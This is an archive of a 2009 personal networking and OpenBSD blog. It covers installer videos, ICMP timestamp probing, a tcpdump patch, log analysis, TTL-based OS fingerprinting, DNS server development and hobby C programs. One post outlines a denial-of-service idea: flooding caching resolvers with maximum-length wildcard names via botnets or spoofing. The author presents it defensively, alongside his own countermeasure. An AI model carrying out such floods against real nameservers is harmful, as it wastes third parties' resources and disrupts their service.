4.5-current install movie

May 7th, 2009

I have made a movie with the newest snapshot of OpenBSD. If you've installed OpenBSD before you'll notice some changes in this installer. I don't always go with the defaults but custom install (the partitions).

I tried watching the .avi with windows xp and it didn't work, but it works with mplayer available on linux and openbsd.

I read up on this and there is a driver for windows which is found here right near the bottom (2nd last).

OK the windows installer works when installed as administrator on an XP box. I'm sure it will work on Vista as well. If you've never seen the install of OpenBSD before perhaps this is worth watching.


Random Hackepedia

May 7th, 2009

Ports are identifiers of protocols that work on the transport layer (layer 4) of the OSI model. TCP and UDP are transport layer protocols that have ports. In TCP and UDP a port is represented by a 16 bit unsigned integer. Thus, the possible port range is 0 through 65535. Port 0 is illegal and no service resides on it.

Read more about Ports at Hackepedia.


Astronomy question: Spaceship Sun

May 11th, 2009

I'm looking for this information online but I can't find it. We orbit the sun and each quarter orbit we call seasons such as, spring, summer, autumn and winter. The sun also moves into some direction around the galactic center, and I'm wondering into which season does it currently move? How can this be proven? I live in the northern hemisphere so I go by northern directions.

PS: Some progress. We are heading towards the star Vega in the constellation lyra.

PSS: The direction we are moving is also called the solar apex.


4.5-current install movie #2

May 15th, 2009

I made another movie with vmware. This time it's an install with the latest OpenBSD snapshot. If you saw the movie below this is the same but it's sped up and you'll have to press pause to follow what I did. I tested 2 things. One was whether adding a user was allowed as digits..as you'll see (it did allow digits the last snapshot before that), and the other was escaping out of the installer and checking whether another host was up.

There was one pleasant surprise in that there was a SHA256 checksum on downloaded packages and it reported it being false (as I used the packages from the previous snap on the local ftp site).


Random Hackepedia

May 15th, 2009

A process covers the entire address space for the size of a pointer (32 bit in 32 bit architectures, 64 bit for 64 bit architectures). Since virtual memory is being used, not all areas of a process have real memory assigned to it, only some parts...

To read more about stack on hackepedia click here.


Lots of installer movies

May 18th, 2009

Here are some installs that I have done in vmware and made a movie of it. I personally like the installers best in the order openbsd, netbsd, freebsd. I like OpenBSD because you can go back easily which I show in the fourth movie with install tricks.

Make sure you mirror it if you want to share it around. Also if you run windows remember there is codecs found here.


ICMP Timestamp

May 21st, 2009

Today someone mentioned ICMP timestamps and how they should be firewalled. So I did a bit of research on this. I had the sourcecode handy on BSD and the timestamp returned is seconds since midnight and milliseconds from the microtime clock. The code for this looks somethign like this:

n_time
iptime(void)
{
        struct timeval atv;
        u_long t;

        microtime(&atv);
        t = (atv.tv_sec % (24*60*60)) * 1000 + atv.tv_usec / 1000;
        return (htonl(t));
}
Now all BSD's (Open, Net, Free) allowed ICMP timestamps by default, and OpenBSD had a sysctl where you can turn it off. Darwin had it turned off by default and tweakable by sysctl. I wrote a small module to my codeblue program and tested ICMP timestamps on Windows and Solaris and they don't seem to reply to it:
# ./cb  -s 172.16.0.3 -d 172.16.0.13 -I 13.0 -F timestamp -vv 
--> interface_gateway: looking up gateway mac for 172.16.0.13
--> interface_gateway: resolved to mac address 0.c.29.4b.46.1e
1 packet written at 60 bytes totalling 60 bytes
Now then, someone who wants insight on the time of day on some box can get a fairly accurate count which may help them with programs to attack a host. But this isn't guaranteed. In the old days, for example, TCP sequence numbers were based on the time of day and thus someone could make a good guess at what those sequence numbers are and be malicious. Today that's not possible anymore and someone even emphasized in OpenBSD that "Time is not a secret". That's true but, then again, if it's not a secret then why does OpenBSD's traceroute.c convolute the time in a trace packet. That's a nice idea but if time is not a secret it doesn't fit in the overall policy (just an observation). A good policy, that I like, is that time is nowhere used to seed random number generators, or cryptographic salts. If PRNG (Pseudo Random Number Generators) are seeded with time and time is readable over the network accurately then that PRNG is no good.

I was sorta surprised that NetBSD and FreeBSD had no sysctl to turn this off and especially FreeBSD with it's millions of sysctl's didn't have a knob that turned ICMP timestamps off. I guess the best formula that may make someone feel better about this is just to firewall it locally. I'm tired now, good night.

PS: Oh yes I tested Linux (OpenSuse 10.3) as well and it also replies ICMP timestamps.


Random Hackepedia

May 22nd, 2009

A broadcast is likened to radio and is by definition one sender and multiple receivers. Ethernet can broadcast, IP can broadcast. Broadcasting is stateless, meaning you cannot use TCP with it. Most broadcasts are done with datagrams.

To read more about Broadcasting go here.


Bug fix

May 22nd, 2009

I've made a bugreport for OpenBSD's tcpdump.

At a later time I found out that another similar bug was in the print-icmp6.c code and did a fix for that as well:

--- print-icmp6.c-orig  Fri May 22 13:09:27 2009
+++ print-icmp6.c       Fri May 22 13:10:10 2009
@@ -125,6 +125,7 @@
                        TCHECK(oip->ip6_nxt);
                        hlen = sizeof(struct ip6_hdr);
                        ouh = (struct udphdr *)(((u_char *)oip) + hlen);
+                       TCHECK(ouh->uh_dport);
                        dport = ntohs(ouh->uh_dport);
                        switch (oip->ip6_nxt) {
                        case IPPROTO_TCP:



Network Map

May 26th, 2009

As you can see this is my network at home all contained within one computer using vmware. The load on uranus (the vmware host) is a constant 20% with all these other vm's on. I created the map with xfig.


IPv6 chart

May 28th, 2009

I clicked a little around the ripe.net site and found this chart which is very cool so I copied it.

IPv6 Relative Network Sizes

/128
1 IPv6 address
A network interface
/64
1 IPv6 subnet
18,446,744,073,709,551,616 IPv6 addresses
/56
256 LAN segments
Popular prefix size for one subscriber site
/48
65,536 LAN segments
Popular prefix size for one subscriber site
/32
65,536 /48 subscriber sites
Minimum IPv6 allocation
/24
16,777,216 subscriber sites
256 times larger than the minimum IPv6 allocation

I got this information from this page. As I have a /48 at home I don't think I'll ever run out of IP space even if I gave each single cell in my body an IP address. BTW. a LAN segment in the chart is /64 which is also called an IPv6 subnet.


Random Hackepedia

May 29th, 2009

ldd as found on Linux or a BSD displays what dynamic dependencies to a dynamic program exist. Some may even tell of breakage of libraries that don't exist anymore.

To read more about ldd go here.


Natally

June 5th, 2009

Natally is a NAT/VPN program that works on a host that cannot do tun/tap. With iptables available, it'll make a packet socket and run with a raw socket. At the same time one can connect to it and have the session blowfish encrypted. So far there is some problems with performance that I'm working on. It's doggedly slow but I'm positive that it can be sped up.

Natally is now hosted at sourceforge. This is its homepage.

There exists a server written for Linux OpenSuse 10.3 and a client written for OpenBSD 4.5. In the future there may be other clients written for linux perhaps, but it's not a priority for me right now.

Update: Progress. I've replaced the ip and tcp checksumming routines and there now isn't any bad checksums which really were part of the slowness as the implementation had to wait for retransmissions and hope the checksums were alright. Phew am I glad that was found.


Random Hackepedia

June 6th, 2009

tr stands for translate characters and that's what it does.

To read more about tr go here.


What's up

June 13th, 2009

Not much is up, I wrote a linux client for natally which seems to work. I improved the openbsd client for natally a bit so that routes can be set up which unfortunately doesn't work on the linux client. I'm going to skip putting up a random hackepedia since there is so little content this week.


Solstice not too far away

June 17th, 2009

In the northern hemisphere (Europe, North America, Asia) we'll have the Summer Solstice on the 21st of June, which means that on this day at high noon the sun is at its highest angle from the horizon. In the southern hemisphere (parts of South America, Australia, parts of Africa) the sun is at its lowest angle from the horizon (at high noon). Why this is is because of the tilt of our earth. This tilt is responsible for our seasons (at least in the northern hemisphere).


HOME

June 19th, 2009

Yesterday I found this movie on youtube and it touched me. It basically warned humanity once again of our ways and said in 10 years the disruption of the harmony of life will be irreversible. The movie has some great footage from all over the world, check it out.


OpenSSL speed

June 21st, 2009

I participated in the Deschall (sp) crack challenge back in 97 or so and the DES cipher was broken by a supercomputer especially built for the task. So now it's 12 years later and a lot has happened. DES was replaced by AES and AES is a lot more secure the literatures write.

But I'm left wondering why the dickens AES is a faster cipher than DES. Pretend you are brute forcing a cipher, wouldn't then a faster cipher produce more attempts per second than a slower cipher? This means a brute force would end sooner to exhaust a cryptogram. Hmm. Here are some stats of DES and AES that I cut from an "openssl speed" command on my home computer.

The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
des cbc          19981.67k    26454.32k    27109.93k    27133.40k    26813.16k
des ede3          9693.15k     9656.40k     9351.31k     9793.71k     9824.77k
blowfish cbc     35115.53k    41062.07k    39941.05k    41949.41k    41771.29k
aes-128 cbc      33001.89k    51473.35k    60324.97k    66089.46k    63121.28k
aes-192 cbc      30109.43k    46625.91k    51426.45k    54773.53k    56143.75k
aes-256 cbc      34359.02k    42632.24k    47491.13k    47512.66k    46742.06k


Random Hackepedia

June 21st, 2009

A Fifo is a named pipe. It is used for IPC. It is created with the mkfifo syscall or command. Fifos reside in the filesystem and require a process to read from it while another process writes to it.

To read more about fifo, go to Hackepedia.

PS: Happy Solstice 6/2009!



Random Hackepedia

June 26th, 2009

If you want to use a sniffer to watch dhcp requests, replace rl0 with your NIC:

To read more about dhcpd read on.


Natally does AES

June 30th, 2009

Well I have been hacking away at natally the last couple weeks now and I finally got dual mode encryption into it. It now does AES as well as Blowfish encryption. Because of the nature of the code it should be easy now to add other ciphers now too, it just needs to be put in place. I started out with blowfish and then coded my way to AES removing a lot of hard code such as blocksizes which need to be dynamic with multiple ciphers. I'm thinking perhaps I should write a manpage now (ughh) or something.

PS: with revision 50 I committed the NAT state expiration code which was needed to complete this project. Perhaps it'll need a bit of tweaking here and there but the main code is finished.


The xlog is discontinued

July 2nd, 2009

Some people must have gotten hold of an old cache of my blog from 2006/2007 where I offered blog articles in encrypted form. You could order a decrypt CD then to decrypt what was written, however noone at the time was interested. I discontinued offering the blog in encrypted form and no sales were made. I found some bounce mails from people today writing in to the decrypt mailbox (which doesn't exist anymore). Thanks for your interests but the offer is over.


OpenBSD packages

July 4th, 2009

First off, I'm not a fan of packages. But I'm wrong. The economics of pre-compiled packages are better than building a package yourself. For one you don't have to run your CPU hot building a port that someone has already done for you, so you're wasting less electricity if you install the package. However I'm the type of person that wants the source code at all times so I've found a way to compromise. I put this in my /etc/mk.conf:

# more /etc/mk.conf
FETCH_PACKAGES=Yes
PKG_PATH=ftp://ftp.de.openbsd.org/pub/OpenBSD/4.5/packages/i386/

So now all I have to do is go into the ports and type: make fetch (gets the source) and make install (gets the package and installs it). This way I have the source to fall back on when I need it and the package process is a few seconds at most.


Random Hackepedia

July 4th, 2009

All users on a system have the ability to customize their environment to their taste. This can involve choosing a shell such as bash, zsh, or tcsh, setting the environment, shell aliases, or running scripts at startup. These tasks are all handled by various "profile scripts".

To read more about profiles read on.


Random Hackepedia

July 11th, 2009

Syslog is the common way of managing logfiles on UNIX. Processes that wish to log something write to a UNIX socket usually bound in /dev/log which then goes to syslogd that writes these logs to a file usually found in /var/log.

To read more about syslog at hackepdia go here.


An intergalactic puzzle

July 12th, 2009

I read NASA's APOD (Astronomy Picture of the Day) and if you click on the link you'll see todays picture which is a message to aliens. I wanted to see just how easy it is so I started deciphering it. First it lists numbers in quantity represented as dots then it shows the binary value of the number and then a base 10 representation. These numbers go from 0 to 10 (with binary as well) and continue in base ten with 10,11, 12, 14, 15 and 20. At the top then is a 1 on the left side and a 1 on the right side in binary, possibly indicating our sexes (with five spots possibly indicating our fingers on each hand). Then it continues with prime numbers from 2 through 89 (so that definitely something intelligent is behind this). And then it says 2 3021377 X1 which I cannot figure out, but perhaps you can.

Hah! Google knew it was a very high prime number called a Mersenne prime. Here is it's homepage.


Removed link

July 13th, 2009

In a commit Theo de Raadt points out that OpenBSD does not link to sites filled with hatred. I am following suit by removing this link from the SolarScale blog. I don't exactly know what the offending message was but I have some idea of it.


Random Hackepedia

July 17th, 2009

Distributed Denial of Service (see DoS). A distributed denial of service is many computers on the Internet coordinating a Denial of Service attack (DoS) against a single host, network or network infrastructure....

To read more about DDos go here.


40 Years ago (Apollo)

July 22nd, 2009

The first man in orbit was Yuri Gagarin and that was in 1961. Eight years later we had the first man on the moon. That tells you that it's not all too hard to get to the moon considering 30 years of development since the V2 rocket that Wernher von Braun designed in world war 2. The Chinese have a space program and even put people into orbit before. Whether they can land a man on the moon in 8 years remains to be seen. But it's not impossible.



TCP Wrappers to protect ssh

July 23rd, 2009

In the last few days there was a rumour of an openssh exploit, and also a worm that would spread from openssh'ed computers. One thing I did was change the default port so that an automated worm going to port 22 would go nowhere. I also applied TCP wrappers to my hosts, I'll give you an example of a host I use only for IPv6.

$ more /etc/hosts.allow
sshd : [2001:a60:f074::]/48

$ more /etc/hosts.deny
sshd : ALL
$ 

The host in question was a FreeBSD host and they require those weird square brackets with the prefix behind. An OpenBSD host doesn't require these square brackets.

What the rules do is they allow my IPv6 subnet to connect via SSH and deny the rest.


The stolen bytes (part 2)

July 30th, 2009

I've switched my webserver to lighttpd. The license seemed right, the coding style seemed fair, a lighter httpd is all we need. I checked the problem with the chinese log fakers (I whoised the IP) and it doesn't happen. The logs now properly tell that they are only downloading about 46K bytes instead of 70 MB. If it were all so simple as this.

Update: more comes to light. I noticed that the downloads come at a certain frequency and get stopped mostly at 40K or so. It's possible that the chinese firewall is stopping my RFC's that I recorded which are in the public section of this website. I used a testing website from shanghai to test and there definitely is a time-out when trying to access my .mp3's. Here is the website and the picture I made follows (so you don't have to try it out wasting bytes):

Update 2: I was able to get a packet dump of one host trying to download the mp3's from me and it's apparent that the great firewall of china cuts it off. Here it is. You'll see at the end there is 10 RST's, normally a host only does 1 RST to end a connection and that's it. I've heard about the firewall in china doing it exactly this way too. The clues just keep on coming in.


The stolen bytes

July 30th, 2009

According to my weblogs I was getting downloads from some IP addresses on the order of 80 GB a month. I found that hard to believe because my VPS provider charges shows that I only use about 50 MB a day when I'm not running natally.

To show you I have gathered the bytes from the "common" apache log for the highest downloader:

pjp@proteus:/usr/local/apache2/logs> zcat access_log.1.gz | grep Jul | \
grep 61.xxx.xxx.xx | awk '{ total += $NF } END { printf("total: %s\n", total);}'
total: 8432326849

So then I decided to do what he does, I make a HTTP 1.0 connection and download a large mp3, then I interrupt the download, and in the logs it says I have downloaded the entire file which is bogus:

212.xxx.xxx.xxx - - [30/Jul/2009:19:50:08 +0200] "GET /public/rfc1122nc.mp3 HTTP/1.0" 200 71848370
212.xxx.xxx.xxx - - [30/Jul/2009:19:51:59 +0200] "GET /public/rfc1122nc.mp3 HTTP/1.0" 200 71848370
212.xxx.xxx.xxx - - [30/Jul/2009:20:18:01 +0200] "GET /public/rfc1122nc.mp3 HTTP/1.0" 200 71848370
Everytime I interupted the download and everytime it said I downloaded 71 MB. This adds up, and I'm thinking if I had a webhoster that charges the traffic from the apache log files then there is a big problem as people may get overcharged traffic wise. The best thing to do is to get traffic logged at the router (by means of access lists perhaps) and not the apache log files.

Another thing I did was make sure that there is no transparent proxy anywhere and so on the last download I packet dumped the session:

proteus:~ # tcpdump -v -n -r apache.out -l | wc -l
reading from file apache.out, link-type LINUX_SLL (Linux cooked)
167
167 packets were logged and at an MTU of 1500 it doesn't get near the 71MB of the file, so the session isn't cheating me by buffering in between.

The nicest thing would be to patch this in apache.


Random Hackepedia

August 7th, 2009

Hubs are devices that connect other devices together over a network. They are inherently a "broadcast" device, in that all devices see all traffic that passes through the hub, even if they are neither the sender nor receiver of the traffic....

To read more about Hubs go here.


Random Hackepedia

August 14th, 2009

X is the X Window System as designed by Project Athena at MIT. It is a graphical user environment that allows cursor movement over windows as displayed on the monitor...

To read more about this hackepedia entry a go here.


Freak for Numbers?

August 14th, 2009

I'm a freak for numbers and I recently came across this website: www.ipspotting.com. It rates your IP number through a CGI. My host proteus.solarscale.de got a score of 35 which was half interesting for it, my other static IP got a score of 23 and that wasn't so interesting, even though it had a prime number in the dotted quad. Check it out sometime.


40 Years of UNIX

August 20th, 2009

This was in the BBC. Happy Anniversary UNIX!


Random Hackepedia

August 21st, 2009

Encryption is the art of obfuscating information so that a third party cannot read its contents...

Read on, here.


The IPv4 Address Report

August 22nd, 2009

I came across this webpage called the IPv4 Address report. It predicts when we will run out of IPv4 space. At the time of this writing it was 694 days and I noticed over a couple of weeks that this number can grow or shrink as the prediction passes over time.

Running out of IPv4 space is hardly the end of the world. It just means that IPv6 will be a must have rather than a nice-to-have. This blog already is mirrored on ipv6 space at ipv6.solarscale.de . (you can only reach it if you have IPv6 configured).



It's donation time again

August 24th, 2009

A small amount goes to MARC mailing list archive for their superb archiving services, I use MARC regularely.


Random Hackepedia

August 28th, 2009

One major change I've noticed in Solaris 10 is that admintool is gone...

To read more about Solaris 10 go here


Wildcarddns feature

August 31st, 2009

I've improved the code on wildcarddnsd so that it grabs the incoming ttl and displays it in the logs. Eventually I want to make it so that the dns server closest to an IP will reply. This requires some coding with sockets between two or more wildcarddns servers and allowing it to get the TTL is just a small step. How long it'll be before done I don't know, don't get your hopes up too high on it, unless you want to do some work and contribute.


Random Hackepedia

September 5th, 2009

A system call is an API for a userland process to communicate with the kernel to request data or services outside of it's protected memory...

To read more about system calls go to hackepedia.


Schneier's new crypto book

September 5th, 2009

Bruce Schneier announces a new book called "cryptography engineering" which is a sequel to "practical cryptography". I think I'm gonna buy this new book since I have another book of his called "applied cryptography" and it was a nice to have.


Identifying OS by TTL

September 7th, 2009

By default BSD and Linux systems have a TTL of 64. Windows systems have a default TTL of 128. Given that information one can with some certainty say what OS did a DNS lookup on a wildcarddns DNS server. It requires logging turned on and evaluating the log with AWK.

Here is a small shell script:

grep wild /var/log/all | grep ttl | grep -v "ttl=0" | 
awk '{split($14,a,  "="); split(a[2], b, ")"); print b[1]; }'|\
sort | uniq -c |  \
awk 'BEGIN { printf("DNS lookups per operating system\n"); } {if ($2 > 64) { if 
($2 > 128) hash["unknown"] += $1; else hash["windows"] += $1;} else hash["unix"]
 += $1; } END { for (i in hash) { printf("%10-s - %s lookups\n", i, hash[i]);} }
'

The output looks somewhat like this:

DNS lookups per operating system
unknown    - 11 lookups
windows    - 90 lookups
unix       - 242 lookups

Unknown OS is anything over a TTL of 128 (probably with a default ttl of 255).

Here are some TTL's of default systems:

setebos$ uname -a
OpenBSD setebos.solarscale.de 4.5 GENERIC#0 i386
setebos$ sysctl -a | grep ttl 
net.inet.ip.ttl=64

# uname -a
SunOS sycorax 5.10 Generic_137138-09 i86pc i386 i86pc
# ndd /dev/ip ip_def_ttl
255
# ndd /dev/udp udp_ipv4_ttl
255

[pjp@uranus ~]$ uname -a
Linux uranus.centroid.eu 2.6.18-92.1.13.el5 #1 SMP  ... cut
[pjp@uranus ~]$ cat /proc/sys/net/ipv4/ip_default_ttl
64

So unknown can be changed to solaris.


Planet of the Users (OpenBSD song)

September 8th, 2009

Today the new OpenBSD song came out for OpenBSD 4.6. The song is inspired by the movie "Planet of the Apes", where in the future Puffy flies to our planet in a timemachine. As he lands he sees a world that is evil. People have their arms surgically removed at birth and have a screen before their eyes to see, probably to take them out of their misery. Personal robots do all tasks that arms would have done. Puffy gets caught after someone identifies him as a hacker, but then escapes after turning the warden fish's display off (who by the way sees him as a woman in a bikini).

The story reminds me of a brainstorm I had in my old apartment where people get their limbs removed in order to program for a slave driver. Can't run away if you got no legs.

Puffy says "stop this future", and I agree, we don't need limbless people that would otherwise have healthy limbs. Down with slavery!


Random Hackepedia

September 12th, 2009

A Firewall is part of an Operating System's networking stack that allows one to create policies for network traffic, and permit or deny that traffic accordingly...

To read more about firewalls , click on the link.


Equinox in a few days

September 17th, 2009

The last equinox of this year is in a few days, 5.



Random Hackepedia

September 19th, 2009

A process covers the entire address space for the size of a pointer (32 bit in 32 bit architectures, 64 bit for 64 bit architectures). Since virtual memory is being used not all areas of a process has real memory assigned to it and only some parts (access to parts that have no memory results in a SIGSEGV signal and the process is killed)...

To read more about heap, click on link.


Happy Equinox

September 22nd, 2009

Today is the equinox. The sun sets at the North Pole and rises at the South Pole. Also night should be as long as day.


Nominum's statements

September 23rd, 2009

As some of you may know I'm the author of the Wildcard DNS server. I read the following words from Nominum: "Open Source DNS a Recipe for Problems". And I have to disagree to this somewhat. But when looking at my own meagre DNS server, there is a few areas of concern. First, my server wasn't meant to be put on the Internet when I first wrote it close to four years ago, but it's functionality allowed it to be run as an authoritative nameserver. I have been serving the centroid.eu zone with it and continually studying the logs of it and I'm happy to report that my server was never killed from remote, I never had to restart the server. I'm surprised that it works out to be fairly stable.

Wildcard DNS was and is a research project and while I'm at it I'm sharing the source of it. Whoever wants to use it should know the license. The license (BSD license) protects me as the author of the program from being sued by someone who may get damaged by using this DNS server. There is some risk using this software, but I personally am pretty happy. Writing a DNS server isn't easy, but when you do you learn a lot. How the DNS protocol is utterly broken (by using 16 bit ID's), for example. Nominum can't get around the 16 bit ID problem, it's a protocol problem.

So anyhow, I'm in the process of adding new functionality to Wildcard DNS that no other open source nameserver has, and I'm looking forward in seeing it run and experiment with it. When it turns out to work pretty well the functionality can be put into other nameservers at their will.

If you ask me Nominum just wants a bigger chunk of the monopoly that BIND used to have and now are on a warpath to be the dominant dns server. Good for them, and good luck.


Random Hackepedia

September 26th, 2009

Hackepedia is down so I'm going give you a link to BSS on my hackepedia backups.


Alphabetical Countup

September 28th, 2009

Someone on IRC needed a program that counts the alphabetical characters in words and adds their value. So the value of A would be 1, the value of B would be 2 and "AB" would be 3 (1 + 2). I wrote this program for him:

#include <stdio.h>
#include <ctype.h>

int
main(int argc, char *argv[])
{
        int i;
        char *p;

        if (argc != 2) {
                fprintf(stderr, "usage: name [name]\n");
                exit(1);
        }
        p = argv[1];
        i = 0;
        while (*p) {
                i += (tolower(*p) - 'a') + 1;
                p++;
        }
        printf("the number of name %s is %d\n", argv[1], i);
        exit(0);
}

With counting up names and words one can see which ones are similar in value. Here are some examples:

Peter J. Philipp - Bermuda T. Triangle
Peter - daemonic, Titan, Zion, Yahoo, angelical
pbug - Pete, hacker, airhead, Bobby
centroid - demihuman, demonlike
solarscale - equinox, bridgekeeper, clockroom

I made a file called num2words.txt on the public download that has 234,000 words or so sorted to their respective alphabetic countup. The processing time it took on my home computer was roughly 2 hours. Because I didn't make the program efficient it took this long.

Here is a super quick awk statement that makes creating the wordlist super fast:

awk 'BEGIN { for (i = 65; i < 91; ++i) { c = sprintf("%c", i);  h[c] = \
h[tolower(c)] =  i - 64 } } { tot = 0; for (i = 1; i <= length(); ++i) \
tot += h[substr($0, i, 1)]; print tot, $0 }' /usr/share/dict/words | \
sort -n
Thanks goes to Figz for making this.


Compiling and debugging a program

October 6th, 2009

Occasionally I'll post a small C program on this blog. This is how you can compile it on a UNIX-based computer. Also I add the (-g) compile option which includes the symbols in the file to make debugging easier. I'm using this on the program sphere.c which is below, here goes:


setebos$ ls sphere.c
sphere.c
setebos$ cc -g -o sphere sphere.c
/tmp//ccnSRGuU.o(.text+0x66): In function `main':
/usr/home/pjp/src/math/sphere.c:18: undefined reference to `pow'
/tmp//ccnSRGuU.o(.text+0x93):/usr/home/pjp/src/math/sphere.c:19: undefined reference to `pow'
collect2: ld returned 1 exit status
setebos$ cc -g -o sphere sphere.c -lm
setebos$ gdb -silent ./sphere
(gdb) list
2       #include <stdlib.h>
3       #include <math.h>
4
5       int
6       main(int argc, char *argv[])
7       {
8               double volume, radius;
9               double area;
10
11              if (argc != 2) {
(gdb) just press enter here
12                      fprintf(stderr, "usage: ./sphere [radius]\n");
13                      exit(1);
14              }
15
16              radius = atof(argv[1]);
17
18              volume = (4 * M_PI * (pow(radius, 3))) / 3;
19              area = 4 * M_PI * (pow(radius, 2));
20
21              printf("Sphere with radius of %f\n", radius);
(gdb) break 17
Breakpoint 1 at 0x1c0007df: file sphere.c, line 17.
(gdb) run 10
Starting program: /usr/home/pjp/src/math/sphere 10

Breakpoint 1, main (argc=2, argv=0xcfbfb9bc) at sphere.c:18
18              volume = (4 * M_PI * (pow(radius, 3))) / 3;
(gdb) print radius
$1 = 10
(gdb) n
19              area = 4 * M_PI * (pow(radius, 2));
(gdb) print volume
$2 = 4188.7902047863909
(gdb) n
21              printf("Sphere with radius of %f\n", radius);
(gdb) print area
$3 = 1256.6370614359173
(gdb) continue
Continuing.
Sphere with radius of 10.000000
AREA   = 1256.64
VOLUME = 4188.79

Program exited normally.
(gdb) quit
setebos$ 


Sphere.C

October 6th, 2009

Yesterday I came across some formulas which I haven't used in more than a decade and I made a program out of them, here is what the input and output looks like:

setebos$ ./sphere 1737 # moon         
Sphere with radius of 1737.000000
AREA   = 37914863.86
VOLUME = 21952706175.03
setebos$ ./sphere 3396 # mars         
Sphere with radius of 3396.000000
AREA   = 144925640.08
VOLUME = 164055824574.20
setebos$ ./sphere 71492 # jupiter     
Sphere with radius of 71492.000000
AREA   = 64228053049.52
VOLUME = 1530597322872156.00

And here is the source code including the formula for area and volume of a sphere:

#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int
main(int argc, char *argv[])
{
        double volume, radius;
        double area;

        if (argc != 2) {
                fprintf(stderr, "usage: ./sphere [radius]\n");
                exit(1);
        }

        radius = atof(argv[1]);

        volume = (4 * M_PI * (pow(radius, 3))) / 3;
        area = 4 * M_PI * (pow(radius, 2));

        printf("Sphere with radius of %f\n", radius);
        printf("AREA   = %.2f\n", area);
        printf("VOLUME = %.2f\n", volume);

        exit(0);
}


No Hackepedia this week (again)

October 16th, 2009

The header says it all.


2 letter .de domains

October 17th, 2009

On October 23rd starting at 9AM CEST, DENIC will open registrations for two letter .de domains. Other than saving bandwidth and being rare there is nothing special about 2 letter .de domains. There is 676 of them if you exclude numbers. Here is the story (in german) about this at heise.de.

Joker.com has pre-registrations on the 19th of October.



OpenBSD 4.6 released

October 19th, 2009

OpenBSD 4.6 was released yesterday. I'm gonna have fun with this.

I just made a 15 euro bank donation to OpenBSD (which is 23 canadian dollars). I'm doing this in lieu of buying the CD's, but I'm looking forward to perhaps getting 4.8 on CD next year.


Thanks OpenBSD

October 25th, 2009

Theo de Raadt added my name to the list of people who do donations on their donations page. The list is quite large by now, and I always wondered why I wasn't added before. It turns out that if your donations accumulate to a certain amount (100 dollars CA or so) they put your name on the list. This is nice, it's a nice self-endorsement and it shows my passion for OpenBSD.


New features at WildcardDNS

October 25th, 2009

Someone asked if round-robin'ing was possible in wildcarddnsd. The feature was there once so there was still stub-code but it didn't work. I cleaned that up today and it seems to work. It makes wildcarddnsd a bit slower because the zones have to be written after every lookup, but otherwise NS, A and AAAA records do a wildcard round-robin now.

It's not in the repo HEAD yet but if you check out the ROUNDROBIN branch the code is added on to BETA_2.


Hackepedia back online

October 27th, 2009

Hackepedia is back online after about a month of downtime.


Playing with xearth

November 2nd, 2009

rosalind$ history
...
44      xearth -pos "fixed 49 0" -sunpos "-15 0" -noroot -nostars -grid -markerf
ile markerfile 
rosalind$ more markerfile
50.05 10.23 "pbug"


WildcardDNS bug fix

November 3rd, 2009

I fixed a bug in wildcarddnsd that caused zones to be 'lost'. Everyone who uses wildcarddnsd should upgrade to the latest version or tag "BETA_3". In the CVS log there is more detail on what went in since BETA_2.


Random Hackepedia

November 6th, 2009

This weeks hackepedia article is Multicast. Enjoy.


Upgrade (Hell)

November 6th, 2009

This week I purchased and installed 3 things. One, Windows 7 Home Premium edition. Two, VMware Workstation 7 and finally F-Secure 2010 Anti-Virus. I've never had an anti-virus program before so this was a first install for me.

I also downloaded Kubuntu 9.10 and installed it as my VMware host operating system. That was necessary because my old Redhat lacked some libraries that I needed for good sound support with the VMware Workstation.

So I had to move some OS's out of my active host team that I keep in the on state in VMware, in order to accomodate the 1 GB footprint of Windows 7. Windows 7 was a pain to install because vmware has crappy dvd support and using a sparse file for the dvd didn't work due to some copyright protection.

When I install Windows I compartment a superuser and a regular user. This way if there is a virus when I use windows, it can't write over system files and install a root-kit or whatever. I usually name the superuser admin. Only when installing Windows it asks to install a user and I didn't name it admin but "pjp" my usual acronym. So when I learned that I wanted to install "pjp" as a user with less privileges I had to rename the admin account. It left the home directory as "pjp" and gave my pjp user the directory of "pjp_2".

Activating the one year subscription for the anti-virus was pretty easy and I hope everything is protected now. I set it so that it scans files that I download through the web (real-time).

These were just some experiences I had with this years upgrade, I probably won't upgrade for at least another year unless something blows up badly.


A theoretical attack on WildcardDNS and the Internet

November 7th, 2009

This attack theorizes on an attack on caching recursing nameservers. Pretend someone runs wildcarddnsd and thus wildcards the entire spectrum of their domain (zone).

this.is.valid.domain.com
stupid.little.tricks.domain.com
what.dns.is.not.domain.com
These are all valid A replies if domain.com has an A record set. Only problem is that when someone uses up the entire 255 characters of a valid domain name then the other recursing nameserver theoretically stores all this in memory for at least the time to live. So if someone looks up:
abcdef...a.domain.com (255 characters)
defghi...b.domain.com (255 characters)
.. then there is an awful lot that is stored in RAM on a nameserver.

If a botnet looks up these long domain names they can cause economic damage by wasting many many many bytes on an aggregate of foreign nameservers. And the nameserver that does wildcardding will get the bandwidth bill for all those lookups, although there is many "root servers" that have unlimited bandwidth for 60 euros a month. It'll look like a DOS but it's not (yet it can lead to a DOS).

To save the Internet some pain I've implemented the -W flag on my wildcarddnsd's and to basically save my ass the bandwidth charges.

Something to read that put me up to the idea:

PS: you don't need a botnet to do some damage. If you have a link that allows spoofing you can spoof into networks that don't have ingress spoofing filters on their routers and fake a question to DNS servers that would otherwise refuse to answer you. With the amount of bandwidth one can get 50/10 Mbps a considerable amount of damage can be done. So the protection against this is to have solid networks out there that don't allow spoofing of any kind.


1993 Berlin wall pictures

November 9th, 2009

Pics from 1993.



Configuring a Dovecot POP3 server

November 12th, 2009

Here is the config file:

protocols = pop3 pop3s
protocol pop3 {
        listen = 62.75.160.180:110
        ssl_listen = 62.75.160.180:995
}
auth default {
        mechanisms = plain 
        passdb pam {
                args = *
        }
        userdb passwd {

        }
}
ssl = yes
ssl_cert_file = /etc/ssl/certs/dovecot.pem
ssl_key_file = /etc/ssl/private/dovecot.pem
mail_location = mbox:~/mail:INBOX=/var/mail/%u
disable_plaintext_auth = yes
I had to install the pam-devel stuff for opensuse and add a certificate file that can be generated by a script in dovecots build_directory/doc.


Random Hackepedia

November 13th, 2009

Todays random hackepedia is Symlinks.


5 Euros donated to Wikipedia

November 13th, 2009

I use wikipedia quite often. Especially when it gets a little boring. I hope the five euros will cover my bandwidth charges, and it just wouldn't be the same with flashing banners greeting me everytime I go there.


Windows 7 and IPv6

November 15th, 2009

I had some time tonight to get IPv6 in windows working, and it does work like a charm. See picture for the config (in german).

